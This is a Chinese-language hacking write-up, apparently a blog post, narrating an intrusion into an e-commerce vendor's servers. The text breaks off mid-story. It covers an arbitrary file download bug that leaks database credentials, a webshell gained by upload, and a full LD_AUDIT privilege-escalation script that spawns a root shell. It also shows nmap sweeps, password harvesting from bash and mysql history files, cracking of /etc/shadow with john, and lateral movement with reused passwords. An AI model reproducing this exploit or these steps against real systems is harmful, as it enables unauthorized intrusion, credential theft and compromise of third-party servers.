一般web系统官网都会有demo之类的演示网站 这里通过扫描c段看看都存在哪些旁站涛涛电脑知识网
可以看出C段大多数IP里都是使用主站的购物商城系统 域名为xx100(数字可以变).
test.net和其他自主域名 130是主站,136是webmail 环境为php+linux+apache.
本想下载源码白盒测试下寻找漏洞 但kr鸟文没见哪里有下载的 到都是收费的模板什么的.
那么通过某一demo站点寻找到了一个任意文件下载漏洞 因为看到一个file.php文件 这看文件名就清楚 容易存在下载与包含漏洞 测试后果然可以
得到数据库IP和账户密码 站库分离. telnet下数据库ip的3306端口 可以外联mysql版本4.1
那么得到后台的帐号密码 从后台寻找漏洞 通过上传截段得到一个webshell
00x01 linux提权密码通杀
查看内核版本uname -a
1
Linux xxoo.net 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux
去1337day寻找exp提权 这里直接给出exp.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
rm -rf /tmp/exploit
cat >> /tmp/payload.c <<EOF
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
EOF
gcc -w -fPIC -shared -o /tmp/exploit /tmp/payload.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
提权后习惯性的w一下 然后查看/root/.bash_history | grep ssh和.mysql_history得到了ssh root的密码和mysql密码
抓hash破解都省了. 之前c段扫描发现多数IP都为此系统 那么有可能都是统一管理的 root密码也有可能一样 通过nmap扫描C段开放22端口的IP进行测试
1
2
3
root@bt:~# nmap -sP x.x.x.1-254 -oN Desktop/sp.txt
root@bt:~# cat Desktop/sp.txt | grep for | cut -d ' ' -f5>Desktop/sp2.txt
root@bt:~# nmap -sS -p22 -iL Desktop/sp2.txt>Desktop/sp3.txt
测试结果如下如 还是有部分IP密码通杀的
从hostname可以看出 有db、mail、web、backup、ns服务器. 但是主站和其他开放22端口的IP没有测试成功.
先route或者netstat -r看看还有多少IP与之相关可以弄的
1
2
3
4
5
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
x.x.x.128 * 255.255.255.128 U 0 0 0 eth0
169.254.0.0 * 255.255.0.0 U 0 0 0 eth0
default x.x.x.129 0.0.0.0 UG 0 0 0 eth0
netmask为128 gw为129 怎么计算我这里给出个图 有时候搞内网时 存在多域多个IP段 要计算有多少台 看这省事
00x02 扩大战果
这里除了root用户之外 查看/etc/passwd发现所持服务器中都存在一个master帐号 非root权限.
这帐号有可能是管理员用户管理的 想用root时su一下 一般都这样. 我们cat /etc/shadow下载这master用户hash 使用john --i:all pass.txt进行破解.
但是这样爆破耗时 密码复杂就蛋疼了 这里通过mysql的密码和root密码进行组合猜解
密码都是有点规律的比如mysql密码为xx@数字,root密码为xxx@数字 在加上与域名组合 试了N次得到了master密码为"域名@数字".
使用master密码以及查看/root/.ssh/known_hosts尝试登录其他hosts 这里同样可以登录部分IP
以其中一台为例 从master用户目录下的.bash_history中得到一个密码